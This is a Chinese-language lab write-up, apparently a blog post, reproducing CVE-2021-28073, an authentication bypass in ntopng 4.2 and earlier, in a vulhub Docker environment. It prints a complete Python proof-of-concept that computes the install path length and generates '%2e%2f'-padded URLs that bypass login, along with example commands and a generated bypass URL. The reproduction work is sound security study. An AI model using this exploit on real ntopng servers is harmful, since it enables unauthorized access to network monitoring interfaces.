声明

好好学习，天天向上

漏洞描述

ntopng是监控服务器网络流量的工具，对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞，利用该漏洞可以未授权访问目标任意接口。

影响范围

ntopng commit < e8b9721479f401f595c5c7bb151819aceb03ad71

复现过程

这里使用4.2版本

使用vulhub

/app/vulhub/vulhub-master/ntopng/CVE-2021-28073

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问

http://192.168.31.96:3000

这个漏洞主要是未授权访问接口或者说目录

所以我们先用admin/admin登录进去选一个感兴趣的接口

感觉这个看着不错

http://192.168.31.96:3000/lua/hosts_stats.lua

然后退出登录状态

用POC计算出ntopng lua目录的长度

python3 poc.py --url http://192.168.31.96:3000/ baselength

poc.py

import sys
import requests
import argparse
import logging
 
 
def is_ntopng() -> bool:
    response = session.get(base_url, allow_redirects=False)
    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
 
 
def get_base_length() -> int:
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('as_stats.lua')
 
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('get_macs_data.lua')
 
    return -1
 
 
def get_padding_length(path: str):
    padding_length = 255 - 1 - base_length - len(path)
    if padding_length % 2 == 1:
        raise RuntimeError(f'path {path} is not support')
 
    return int(padding_length / 2)
 
 
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
    parser.add_argument('-v', '--verbose', default=False, action='store_true')
    
    subparsers = parser.add_subparsers(dest='action')
 
    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
 
    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
 
    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
 
    args = parser.parse_args()
    if not args.action:
        parser.print_help()
        sys.exit(1)
 
    if args.verbose:
        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
 
    base_url = args.url.rstrip('/')
    
    # check target
    if not is_ntopng():
        raise RuntimeError('No Ntopng detected')
 
    if args.action == 'baselength':
        base_length = get_base_length()
        sys.stdout.write(f'ntopng install path length: {base_length}\n')
    elif args.action == 'generate':
        base_length = args.length
        path = args.path
        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')

长度为36

这个是我们想未授权访问

http://192.168.31.96:3000/lua/hosts_stats.lua

构造

python3 poc.py --url http://192.168.31.96:3000/ generate -l 36 -p hosts_stats.lua

这个还不支持

再换一个

python3 poc.py --url http://192.168.31.96:3000/ generate -l 36 -p if_stats.lua

如果支持，会生成一个URL，我们浏览器直接访问就可以进来，但是点一下就跑出去登录了，还是个css，是不是有点鸡肋？

http://192.168.31.96:3000/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2fif_stats.lua.css

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID binbash

关闭镜像（每次用完后关闭）

docker-compose down